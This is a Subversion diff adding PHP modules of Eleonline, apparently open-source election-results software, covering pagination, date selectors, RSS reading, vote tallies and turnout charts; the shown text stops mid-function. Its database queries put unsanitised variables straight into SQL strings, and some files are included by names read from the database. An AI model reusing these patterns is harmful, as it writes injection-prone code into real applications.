+++ /trunk/elezioni/trunk/client/modules/Elezioni/funzioni.php	(revision 44)
@@ -0,0 +1,414 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+
+/*******************************************************
+     #'Pagina precedente' e 'Pagina Successiva' #
+        immettere nel file da dividere la lettura
+	del numero complessivo dei dati:
+	Es: $max=sql_num_rows($res);
+
+	l'offset settato al numero dei dati da
+	visualizzare per pagina:
+	Es: $offset=5;
+
+	l'azzeramento della variabile $min
+	Es: if (!isset($min)) $min=0;
+
+	il nome del file (opzione) da ricaricare)
+	Es: 	$file="gruppopercsez"; // nome op per pagine
+
+
+*/
+
+
+
+function page($id_cons,$go,$max,$min,$prev,$next,$offset,$file){
+global $lettera,$ordine,$id_comune;
+
+
+      echo"<br /><div class=\"modulo\">";
+      $prev=$min-$offset;
+      if ($prev>=0) {
+              echo "<a href=\"modules.php?name=Elezioni&amp;op=$go&amp;min=$prev&amp;id_cons_gen=$id_cons&amp;id_comune=$id_comune&amp;file=$file&amp;lettera=$lettera&amp;ordine=$ordine\">";
+	      echo "[ <b>$offset "._PREV_MATCH."</b> ]</a>";
+      }
+
+      $next=$min+$offset;
+      if ($next>=($offset-1)) {
+          if($next>=$max) $next = $max;
+	  else {
+
+              echo "<a href=\"modules.php?name=Elezioni&amp;op=$go&amp;min=$next&amp;id_cons_gen=$id_cons&amp;id_comune=$id_comune&amp;file=$file&amp;lettera=$lettera&amp;ordine=$ordine\">";
+              echo " [<b>$offset "._NEXT_MATCH."</b> ] </a>";
+        }
+      }
+     echo "</div><br /><br/>";
+
+}
+
+
+
+
+
+// *********************************
+// Funzioni formattazione data 
+// ***********************************
+
+
+function giorno()
+{
+$giorni= array('--','01','02','03','04','05','06','07','08','09','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31');
+foreach($giorni as $gi)
+	$giorno .= "<option value=$gi>$gi</option>";
+$giorno .= "</select>";
+echo "$giorno";
+}
+
+
+function mese()
+{
+$mesi= array('--','01','02','03','04','05','06','07','08','09','10','11','12');
+foreach($mesi as $me)
+ 	$mese .= "<option value=$me>$me </option>";
+$mese .= "</select>";
+echo "$mese";
+}
+
+function anno()
+{
+$curr=date("Y",time());
+$anni=array('--',$curr--,$curr--,$curr--,$curr--,$curr--,$curr--,$curr--);
+foreach($anni as $an)
+	$anno .= "<option value=$an>$an</option>";
+$anno .= "</select>";
+echo "$anno";
+}
+
+function ore()
+{
+$ore= array('00','01','02','03','04','05','06','07','08','09','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24');
+foreach($ore as $ori)
+	$ore .= "<option value=$ori>$ori</option>";
+$ore .= "</select>";
+echo "$ore";
+}
+
+
+function minuti()
+{
+$minuti= array('00','01','02','03','04','05','06','07','08','09','10','11','12','13','14',
+'15', '16', '17', '18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33',
+'34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50',
+'51','52','53','54','55','56','57','58','59');
+foreach($minuti as $minu)
+ 	$minuti .= "<option value=$minu>$minu </option>";
+$minuti .= "</select>";
+echo "$minuti";
+}
+
+function secondi()
+{
+$secondi= array('00','01','02','03','04','05','06','07','08','09','10','11','12','13','14',
+'15', '16', '17', '18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33',
+'34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50',
+'51','52','53','54','55','56','57','58','59');
+foreach($secondi as $sec)
+	$secondi .= "<option value=$sec>$sec</option>";
+$secondi .= "</select>";
+echo "$secondi";
+}
+
+
+
+function form_data($data)
+
+	{
+        list($anno,$mese,$giorno) = explode("-", $data) ;
+        if ($giorno>0)
+               return("$giorno-$mese-$anno");
+        else
+               return("&nbsp; ");
+        }
+
+
+function taglio($parole,$descrizione)
+{
+
+/* funzione per il taglio di una frase giusta senza
+troncare le parole by luc 13 febbraio 2007
+uso:
+taglio(numero di parole, frase)
+*/
+
+$lunghezza=strlen($descrizione);
+$altra='0';
+$testo='';
+$lettera='';
+
+
+for ($x=0;$x<$parole;$x++){
+	if($testo!='')$testo .=" ";
+	
+	for ($j=$altra;$j<$lunghezza;$j++){
+		$lettera=$descrizione{$j};
+		if ($lettera!=" "){ 
+			$testo .=$lettera;
+		}else{ 
+			$altra=$j+1; $j=$lunghezza;
+		}
+	
+	}
+}
+
+
+return "$testo";
+
+}
+#### legge freed rss 1.0
+
+function readrss($url) {
+ 
+ 
+	$rdf = parse_url($url);
+	$fp = fsockopen($rdf['host'], 80, $errno, $errstr, 15);
+	if (!$fp) {
+	    $content = "";
+	    echo  $content;
+	    return;
+	}
+
+	if ($fp) {
+	    if (!empty($rdf['query']))
+	        $rdf['query'] = "?" . $rdf['query'];
+
+	    fputs($fp, "GET " . $rdf['path'] . $rdf['query'] . " HTTP/1.0\r\n");
+	    fputs($fp, "HOST: " . $rdf['host'] . "\r\n\r\n");
+	    $string	= "";
+
+	    while(!feof($fp)) {
+	    	$pagetext = fgets($fp,300);
+	    	$string .= chop($pagetext);
+	    }
+
+
+
+
+	    fputs($fp,"Connection: close\r\n\r\n");
+	    fclose($fp);
+	    $items = explode("</item>",$string);
+	    $content ="<h5>Risultati </h5>";
+	    $content .= "<span class=\"content\">";
+	    
+	    for ($i=0;$i<20;$i++) {
+		$link = preg_replace("/.*<link>/","",$items[$i]);
+		$link = preg_replace("/</link>.*/","",$link);
+		$title2 = preg_replace("/.*<title>/","",$items[$i]);
+		$title2 = preg_replace("/</title>.*/","",$title2);
+		$title2 = stripslashes($title2);
+		$descr = preg_replace("/.*<description>/","",$items[$i]);
+		$descr  = preg_replace("/</description>.*/","",$descr );
+		$descr  = stripslashes($descr );
+
+		if (empty($items[$i]) AND $cont != 1) {
+		    $content = "";
+		    
+		    $cont = 0;
+
+		    echo  $content;
+		    return;
+		} else {
+		    if (strcmp($link,$title2) AND !empty($items[$i])) {
+			$cont = 1;
+			$content .= "<strong><big>&middot;</big></strong> <a href=\"$link\" target=\"new\">$title2</a> $descr<br />\n";
+		    }
+		}
+	    
+	  }
+	
+	
+      }
+   
+    if (($cont == 0) OR (empty($content))) {
+	$content = "<span class=\"content\">Problema feed rss</span>";
+    }
+    
+	echo  $content;
+    
+}
+### legge i risultati e li reinvia
+### richiamare con 
+### list ($gruppo,$pro)=grupporss();
+
+function grupporss() {
+global $admin, $bgcolor1, $bgcolor5, $prefix, $dbi, $offset, $min,$descr_cons,$genere,$votog,$votol,$votoc,$circo, $id_cons,$id_cons_gen,$id_comune,$id_circ,$tipo_cons,$w,$l,$op,$siteistat,$flash,$circondt1 ;
+
+		
+
+	
+	//if($genere=='4' || $tipo_cons>='10') $tab="ele_voti_lista";
+	  if($genere=='4' || $votog) $tab="ele_voti_lista";
+	  else $tab="ele_voti_gruppo";
+	
+      
+  
+	$res = mysql_query("select *  from ".$prefix."_$tab where id_cons='$id_cons' group by id_sez ",$dbi);
+	
+	if ($res) $numero=mysql_num_rows($res);else $numero=0;
+	$res = mysql_query("select t2.*  from ".$prefix."_ele_sezioni as t2, ".$prefix."_ele_sede as t1 where t2.id_cons='$id_cons' and t1.id_sede=t2.id_sede $circondt1",$dbi);
+	if ($res) $sezioni=mysql_num_rows($res);else $sezioni=0;
+	
+	if ($numero>0){
+		if ($genere!=0){
+			$restotv = mysql_query("select sum(voti)  from ".$prefix."_$tab where id_cons='$id_cons' ",  $dbi);
+			list($tot)  = mysql_fetch_row($restotv);
+			
+			$i=0;
+			// lista o gruppo
+			if ($genere!=4){
+			         
+				if ($votog){
+				
+				$res = mysql_query("select t1.id_gruppo, t1.num_gruppo, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_gruppo as t1,
+				".$prefix."_ele_voti_lista as t2,
+				".$prefix."_ele_lista as t3
+        			where 	t1.id_cons='$id_cons'
+				and t2.id_lista=t3.id_lista
+				and t1.id_gruppo=t3.id_gruppo
+				group by t1.id_gruppo
+				order by somma desc", $dbi);$cosa='id_gruppo';
+				
+				}else{
+				
+			
+			        $res = mysql_query("select t1.id_gruppo, t1.num_gruppo, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_gruppo as t1
+        			left join ".$prefix."_$tab as t2 on (t1.id_gruppo=t2.id_gruppo)
+				where 	t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons $circondt1
+				group by t2.id_gruppo
+				order by somma desc", $dbi);$cosa='id_gruppo';
+			       }
+			
+			
+			}else{
+				$res = mysql_query("select t1.id_lista, t1.num_lista, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_lista as t1
+        		left join ".$prefix."_$tab as t2 on (t1.id_lista=t2.id_lista)
+				where 	t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons
+				group by t2.id_lista
+				order by somma desc", $dbi);$cosa='id_lista';
+			}
+
+		
+					
+				$gruppinum=mysql_num_rows($res);
+				$altrivoti=0;
+				while (list($id,$num,$descrizione,$voti)  = mysql_fetch_row($res)){
+
+				
+				
+				// funz per il taglio corretto della frase 13 feb 2007
+				
+				$descrizione=substr($descrizione,0,20);
+				$gruppo[$i]=ucwords(strtolower($descrizione));
+				
+				//if (strlen($descrizione)>25) $gruppo[$i].="...";
+				if ($tot!='' and $tot!='0')
+				$pro[$i]=number_format($voti*100/$tot,3);
+				$pro[$i]=number_format($pro[$i],2); // arrotondamento
+				
+
+					
+				
+
+
+			
+		       
+			$i++;
+		}
+		
+
+
+		
+		$titolo=""._PERCE." "._VOTIE."";
+		
+		
+		
+
+		
+		
+
+		return array($gruppo,$pro);
+                
+               
+
+	  }
+
+	}
+}
+
+function caricablocchi(){
+#### carica i blocchi presenti in modules/Elezioni/blocchi
+#### nome del file da carica xx_nome.php 
+#### dove xx sta per un numero per visualizzare in ordine
+### 01_votanto.php Ãš un nome valido
+### off_votanto.php per disabilitare la visualizzazione
+
+
+
+$list = array();
+$bl=opendir('modules/Elezioni/blocchi');
+	while ($file = readdir($bl)) {
+		if (!is_dir("modules/Elezioni/blocchi/$file") and (!preg_match('/^\./',$file)) and !stristr($file,"off_")) {
+			array_push($list, $file);
+		}
+	}
+	closedir($bl);
+
+	if(count($list)>0)
+		sort($list);
+	for ($item_num=0; $item_num < count($list); $item_num++) {
+		$tmp=preg_replace('/^[0-9][0-9]_/i',"",$list[$item_num]);
+		$title=str_replace("_"," ",str_replace(".php","",$tmp));
+		// backward theme compatibility
+		
+		include ("modules/Elezioni/blocchi/$list[$item_num]");
+		
+		//echo "<br />";
+	}
+}
+
+function block($pos){
+
+global $prefix,$dbi;
+
+	if($pos=="dx") $p=0; elseif($pos=="sx")$p=1;else $p='';
+	
+	$result = mysql_query("SELECT * FROM ".$prefix."_ele_widget where pos_or='$p' and attivo='1' order by pos_ver asc", $dbi);
+	if($result){
+		while ($row = mysql_fetch_array($result)) {
+		$nome=$row['nome_file'];
+		include ("modules/Elezioni/blocchi/$nome");
+		}	
+	}
+}		
+
+function check_block($pos){
+# verifica se ci sono blocchi nel db
+global $prefix,$dbi;
+if($pos=="dx") $p=0; elseif($pos=="sx")$p=1;else $p='';
+	
+	$result = mysql_query("SELECT * FROM ".$prefix."_ele_widget where pos_or='$p' and attivo='1' order by pos_ver asc", $dbi);
+	if ($result) $numero=mysql_num_rows($result);else $numero=0;	
+
+		return 	$numero;
+		
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/graf.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/graf.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/graf.php	(revision 44)
@@ -0,0 +1,18 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ?
+        $_GET : $_POST;
+if (isset($param['pos'])) $cur=$param['pos']; else $cur='';
+$xml=$_SESSION[$cur];
+unset($_SESSION[$cur]);
+echo $xml;	
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici.php	(revision 44)
@@ -0,0 +1,730 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+
+$res = mysql_query("SELECT t1.descrizione, t1.tipo_cons,t2.genere, t2.voto_g, t2.voto_l, t2.voto_c, t2.circo FROM ".$prefix."_ele_consultazione as t1,".$prefix."_ele_tipo as t2 where t1.tipo_cons=t2.tipo_cons and t1.id_cons_gen='$id_cons_gen' ", $dbi);
+list($descr_cons,$tipo_cons,$genere,$votog,$votol,$votoc,$circo) = mysql_fetch_row($res);
+$res = mysql_query("SELECT t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($id_cons) = mysql_fetch_row($res);
+
+
+if($flash=='1') include "class/charts.php";
+
+/***********************************
+/* Grafica affluenze
+/**********************************/
+
+function affluenze_graf(){
+global $bgcolor1, $bgcolor2, $prefix, $dbi, $offset,$genere,$votog,$votol,$votoc,$circo, $min,$id_cons,$tipo_cons,$id_cons_gen,$csv,$id_comune,$id_circ;
+// icone
+	if ($circo) $circos="and t2.id_circ='$id_circ'";
+	else $circos="";
+	if (!$csv)
+	echo "<div>
+	<a href=\"
+	modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=affluenze_sez\">"._DETTAGLIO."  "._AFFLUENZE."<img class=\"image\" src=\"modules/Elezioni/images/dettagli.png\" alt=\" "._AFFLUENZE."\" /></a>
+	<a href=\" modules.php?name=Elezioni&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=affluenze_graf&amp;csv=1\">"._VER_STAMPA." <img class=\"image\" src=\"modules/Elezioni/images/printer.png\" alt=\"\" /></a></div>";
+      
+	// circoscrizionali
+	/* da verificare
+#tolto, gestito globalmente in index.php
+	if ($circo){ // circoscrizione
+   		echo "<form name=\"yesy\" method=\"post\" action=\"modules.php\">";
+   		echo "<input type=\"hidden\" name=\"pagina\" value=\"modules.php?name=Elezioni&file=index&id_cons_gen=34&id_comune=$id_comune&op=affluenze_graf&id_circ=\">";
+   		
+		$res_sez = mysql_query("SELECT id_circ,descrizione,num_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons",$dbi);
+		echo "<td>Scegli la Circoscrizione: <select name=\"id_circ\" onChange=\"top.location.href=this.form.pagina.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+			while(list($id_rif,$descr_circ,$num_cir)=mysql_fetch_row($res_sez)) {
+					if (!$id_circ) $id_circ=$id_rif;
+					$sel = ($id_rif == $id_circ) ? "selected" : "";
+					echo "<option value=\"$id_rif\" $sel>";
+					for ($j=strlen($num_cir);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+					echo $num_cir.") ".$descr_circ;
+				}
+				echo "</select>";
+			
+		
+				
+				
+		
+		//echo "<input type=\"submit\" value=\""._OK."\"></form>";
+		echo "</td></tr></table>";
+		$circos="and t2.id_circ='$id_circ'";
+			
+	}
+
+	*/
+	        // numero sezioni scrutinate
+                //if ($circo)$circos="and id_circ='$id_circ'";
+        if (!isset($data1)) $data1='';
+        if (!isset($ora_ril)) $ora_ril='';
+  		$res1 = mysql_query("SELECT count(data) FROM ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' and data='$data1' and orario='$ora_ril' $circos group by t3.id_gruppo", $dbi);
+# mysql_query("select *  from ".$prefix."_ele_voti_parziale where id_cons='$id_cons' $circos  group by id_sez ",$dbi);
+		$numero=mysql_num_rows($res1);
+		$res2 = mysql_query("SELECT t1.* FROM ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sede as t2 where t1.id_cons='$id_cons' and t1.id_sede=t2.id_sede $circos order by num_sez", $dbi);
+#mysql_query("select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos",$dbi);
+		$sezioni=mysql_num_rows($res2);
+		
+	
+	
+		
+	
+// barre
+    $l_size = getimagesize("modules/Elezioni/images/barre/leftbar.gif");
+    $m_size = getimagesize("modules/Elezioni/images/barre/mainbar.gif");
+    $r_size = getimagesize("modules/Elezioni/images/barre/rightbar.gif");
+    $l_size2 = getimagesize("modules/Elezioni/images/barre/leftbar2.gif");
+    $m_size2 = getimagesize("modules/Elezioni/images/barre/mainbar2.gif");
+    $r_size2 = getimagesize("modules/Elezioni/images/barre/rightbar2.gif");
+                                                                                                                           // totali
+										  
+    
+    
+    $res = mysql_query("select orario,data  from ".$prefix."_ele_rilaff where id_cons_gen='$id_cons_gen' order by data,orario", $dbi);
+        while(list($orario,$data) = mysql_fetch_row($res)) {
+        	list ($ore,$minuti,$secondi)=explode(':',$orario);
+        	list ($anno,$mese,$giorno)=explode('-',$data);
+        	$tot_v_m=0;$tot_v_d=0;$tot_t=0;
+	
+	
+		echo "<br /><div><h5>"._VOTANTI." "._ALLE." "._ORE." $ore,$minuti "._DEL."  $giorno/$mese/$anno</h5></div>";
+               
+  		$res1 = mysql_query("SELECT count(data) FROM ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' and data='$data' and orario='$orario' $circos group by t3.id_gruppo", $dbi);                                                                                                                             
+list($numero)=mysql_fetch_row($res1);	
+
+		
+		$res1 = mysql_query("select sum(t3.voti_complessivi), t4.num_gruppo , t4.id_gruppo   from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede left join ".$prefix."_ele_gruppo as t4 on (t3.id_gruppo=t4.id_gruppo) where t3.id_cons='$id_cons' and t3.orario='$orario' and t3.data='$data' $circos  group by t4.num_gruppo, t4.id_gruppo order by t4.num_gruppo ",$dbi);
+#mysql_query("select sum(t1.voti_complessivi), t2.num_gruppo , t2.id_gruppo from ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 on (t1.id_gruppo=t2.id_gruppo) where t1.id_cons='$id_cons' and t1.orario='$orario' and t1.data='$data' group by t2.num_gruppo,t2.id_gruppo order by t2.num_gruppo " , $dbi);
+                                                                                                                                       
+	
+		
+		
+                                                                                                                             
+                while(list($voti_t, $num_gruppo,$id_gruppo) = mysql_fetch_row($res1)) {
+                	$query="select sum(voti_complessivi) from ".$prefix."_ele_voti_parziale where orario='$orario' and data='$data' and id_cons='$id_cons'";
+		
+                	if ($genere==0){$query.=" and id_gruppo=$id_gruppo";}
+                	$res_aff=mysql_query($query, $dbi);
+			$voti_numero=mysql_num_rows($res_aff);
+                	$query="SELECT sum(maschi+femmine) FROM ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sede as t2 where t1.id_cons='$id_cons' and t1.id_sede=t2.id_sede $circos";
+#"select sum(maschi+femmine) from ".$prefix."_ele_voti_parziale as t1 , ".$prefix."_ele_sezioni as t2 where t1.id_cons=$id_cons and t1.id_sez=t2.id_sez and orario='$orario' and data='$data' $circos";
+                	
+			
+			if ($genere==0){$query.=" and id_gruppo=$id_gruppo";}
+                	$res1234=mysql_query($query, $dbi);
+                	list($tot)=mysql_fetch_row($res1234);
+                	
+                	$perc=number_format($voti_t*100/$tot,2);
+                                                                                                                             			echo "<table class=\"td-80\"><tr class=\"bggray\">";
+			if ($genere==0){echo "<td>N.</td>";}
+                	echo "<td><b>"._VOTANTI."</b></td><td><b>"._PERCE."</b></td>";
+                	echo "<td><b>"._SEZIONI."</b></td>";
+			echo "</tr>";
+        		echo "<tr class=\"bggray2\">";
+        		if ($genere==0){echo "<td>$num_gruppo</td>";}
+        		echo "<td>$voti_t</td><td>$perc %</td><td>$numero</td>
+			</tr></table>";
+	
+
+        // barre
+                                                                                                                             
+        	echo "<table><tr><td><table><tr><td>&nbsp;"._VOTANTI."       : </td><td>
+<img src=\"modules/Elezioni/images/barre/leftbar2.gif\" height=\"$l_size2[1]\" width=\"$l_size2[0]\" alt=\"\" /><img src=\"modules/Elezioni/images/barre/mainbar2.gif\" alt=\"\" height=\"$m_size2[1]\" width=\"". ($perc * 2)."\" /><img src=\"modules/Elezioni/images/barre/rightbar2.gif\" height=\"$r_size2[1]\" width=\"$r_size2[0]\" alt=\"\" /><span class=\"red\"> $perc</span> % ($voti_t)<br /></td></tr>\n";
+		
+		$tot_gen=$tot;
+
+
+		echo  "<tr><td>&nbsp;"._AVENTI.": </td><td><img src=\"modules/Elezioni/images/barre/leftbar.gif\" height=\"$l_size[1]\" width=\"$l_size[0]\" alt=\"\" /><img src=\"modules/Elezioni/images/barre/mainbar.gif\" alt=\"\" height=\"$m_size[1]\" width=\"".(100 * 2)."\" /><img src=\"modules/Elezioni/images/barre/rightbar.gif\" height=\"$r_size[1]\" width=\"$r_size[0]\" alt=\"\" /> 100 % ($tot_gen)</td></tr></table>";
+		 echo "</td></tr></table>";
+		 
+	}	
+
+        }
+}
+
+/*********************************/
+/* Grafica votanti               */
+/**********************************/
+
+function graf_votanti(){
+global $op, $prefix, $dbi, $offset, $min,$descr_cons,$genere,$votog,$votol,$votoc,$circo, $id_cons,$tipo_cons,$id_comune,$id_cons_gen,$id_circ,$csv,$w,$l,$siteistat,$flash,$tour;
+
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ?
+	$_GET : $_POST;
+if (isset($param['anim'])) $anim=intval($param['anim']); else $anim='';
+if ($siteistat==$id_comune) $logo="$siteistat"; else $logo=''; // logo per il  comune 
+
+// menu
+	if (!$csv && $anim!=1){ $anim=1;$versione=_VER_HTML;
+	}else{ $anim='';$versione=_VER_FLASH;}
+	if(!$csv){
+	echo " <div>
+	<a href=\"
+	modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=votanti\">"._DETTAGLIO." "._VOTANTI."<img class=\"image\" src=\"modules/Elezioni/images/dettagli.png\" alt=\"\" /></a>
+	<a href=\" modules.php?name=Elezioni&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=graf_votanti&amp;csv=1&amp;flash=\">"._VER_STAMPA." <img class=\"image\" src=\"modules/Elezioni/images/printer.png\" alt=\"\" /></a>";
+	if($flash==1) 
+		echo "<a href=\" modules.php?name=Elezioni&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=graf_votanti&amp;csv=&amp;anim=$anim\">$versione <img class=\"image\" src=\"modules/Elezioni/images/grafici.gif\" alt=\"\" /></a>";
+        echo "</div>";
+      }
+
+
+/* Scelta circoscrizioni da implementare
+if ($circo){ // elenco per scelta circoscrizione
+		echo "<form id=\"test\" action=\"modules.php\"> <input type=\"hidden\" name=\"pagina\" value=\"modules.php?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=\">";
+		$res_sez = mysql_query("SELECT id_circ,descrizione,num_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons",$dbi);
+		echo "<table><tr><td>Scegli la Circoscrizione: <select name=\"id_circ\" onChange=\"top.location.href=this.form.pagina.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+		while(list($id_rif,$descrizione,$num_cir)=mysql_fetch_row($res_sez)) {
+				if (!$id_circ) $id_circ=$id_rif;
+				$sel = ($id_rif == $id_circ) ? "selected" : "";
+				echo "<option value=\"$id_rif\" $sel>";
+				for ($j=strlen($num_cir);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+				echo $num_cir.") ".$descrizione;
+			}
+			echo "</select></td></tr></table></form>";
+		
+	} 
+
+
+*/
+
+	if ($genere==0) $tab="ref";elseif($genere=='4' || $votog) $tab="lista";
+		 else $tab="gruppo";
+	if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+	else $circos=''; 
+
+        // Verificare per la circoscrizione aprile 2008 Nicola?
+        //if ($genere==0) {$tab="ref";}else{$tab="gruppo";}
+        //if ($votog or $genere==4) {$tab="lista";}else{$tab="gruppo";}
+
+	/*
+        if($circo){
+                if(!$id_circ){
+                $res = mysql_query("select id_circ from ".$prefix."_ele_circoscrizione where id_cons='$id_cons' ", $dbi);
+                list($id_circ)=mysql_fetch_row($res);
+                }
+		
+                 $res = mysql_query("select t1.id_sez,sum(t1.voti)  from ".$prefix."_ele_voti_$tab as t1, ".$prefix."_ele_$tab as t2 where t1.id_$tab=t2.id_$tab and t1.id_cons='$id_cons' and t2.id_circ='$id_circ' group by t1.id_sez", $dbi);
+        }else 
+	 */
+	$res = mysql_query("select t1.*  from ".$prefix."_ele_voti_".$tab." as t1 left join ".$prefix."_ele_$tab as t2 on t1.id_gruppo=t2.id_gruppo where t1.id_cons='$id_cons' $circos group by t1.id_sez ",$dbi);
+	if($res)
+		$numero=mysql_num_rows($res);
+	else
+		$numero=0;
+	$res = mysql_query("select t1.*  from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+	$sezioni=mysql_num_rows($res);
+	
+	if ($numero!=0){
+
+	echo "<center><h2><br />";
+	echo "<b>"._DETTAGLIO." "._VOTIE."</b> - ";
+	echo "<i> "._SEZSCRU." $numero "._SU." $sezioni </i>";
+	echo "<br /></h2></center>";
+
+
+
+	$res1 = mysql_query("SELECT sum(maschi+femmine) from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+	list($tot_aventi)  = mysql_fetch_row($res1);
+	if ($genere!=0) {
+
+		$res1 = mysql_query("SELECT sum(validi+nulli+bianchi+contestati) as tot,
+		sum(validi),sum(nulli),sum(bianchi),sum(contestati), '0'
+		from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos having tot>0",$dbi);
+	}else{
+		$res1 = mysql_query("SELECT sum(validi+nulli+bianchi+contestati) as tot,
+		sum(validi),sum(nulli),sum(bianchi),sum(contestati), id_gruppo
+		from ".$prefix."_ele_voti_ref  where id_cons=$id_cons group by id_gruppo having tot>0",$dbi);
+	}
+
+	while  (list($tot_votanti,$validi,$nulli,$bianchi,$contestati,$id)  = mysql_fetch_row($res1)){
+		$tot_votanti=$validi+$bianchi+$nulli+$contestati;
+		$perc_validi=number_format($validi*100/$tot_votanti,2);
+		$perc_nulli=number_format($nulli*100/$tot_votanti,2);
+		$perc_bianchi=number_format($bianchi*100/$tot_votanti,2);
+		$perc_conte=number_format($contestati*100/$tot_votanti,2);
+		$perc_votanti=number_format($tot_votanti*100/$tot_aventi,2);
+		$non_votanti=($tot_aventi - $tot_votanti);
+		$perc_non=100-$perc_votanti;
+
+		if ($genere==0) {
+			$res = mysql_query("SELECT num_gruppo,descrizione from ".$prefix."_ele_gruppo where id_gruppo=$id",$dbi);
+			list($num_gruppo,$descr_gruppo)  = mysql_fetch_row($res);
+		}
+
+		
+
+		$a1=_VALIDI;$b1=_NULLI;$c1=_BIANCHI;$d1=_CONTESTATI;$titolo=""._PERCE." "._VOTIE."";
+		$e1=_VOTANTI;$f1=""._NON." "._VOTANTI."";$titolo2=""._PERCE." "._AFFLUENZE."";
+
+		
+		
+
+		    
+		echo "<table  width=\"100%\" class=\"modulo\"><tr><td valign=\"top\" >";
+		echo "<table width=\"400\" cellspacing=\"3\">";
+		if ($genere==0) {echo "<h2>$num_gruppo<br/>$descr_gruppo</h2><br/><br/>";}
+		echo "
+		<tr class=\"bggray3\"><td ><b>"._AVENTI."</b></td><td>$tot_aventi</td><td><span class=\"red\">100%</span></td></tr>
+
+		<tr class=\"bggray3\"><td><b>"._VOTANTI."</b></td><td>$tot_votanti</td><td><span class=\"red\">$perc_votanti%</span></td></tr>
+		
+		<tr class=\"bggray3\"><td>"._VALIDI."</td><td>$validi</td><td><span class=\"red\">$perc_validi%</span></td></tr>
+		
+		<tr class=\"bggray3\"><td>"._NULLI."</td><td>$nulli</td><td><span class=\"red\">$perc_nulli%</span></td></tr>
+		
+		<tr class=\"bggray3\"><td>"._BIANCHI."</td><td>$bianchi</td><td><span class=\"red\">$perc_bianchi%</span></td></tr>
+		
+		<tr class=\"bggray3\"><td>"._CONTESTATI."</td><td>$contestati</td><td><span class=\"red\">$perc_conte%</span></td></tr>
+
+		</table>";
+		echo "</td></tr><tr><td style=\"text-align:center;\">
+		<h1>"._PERCE." "._VOTANTI."</h1>";
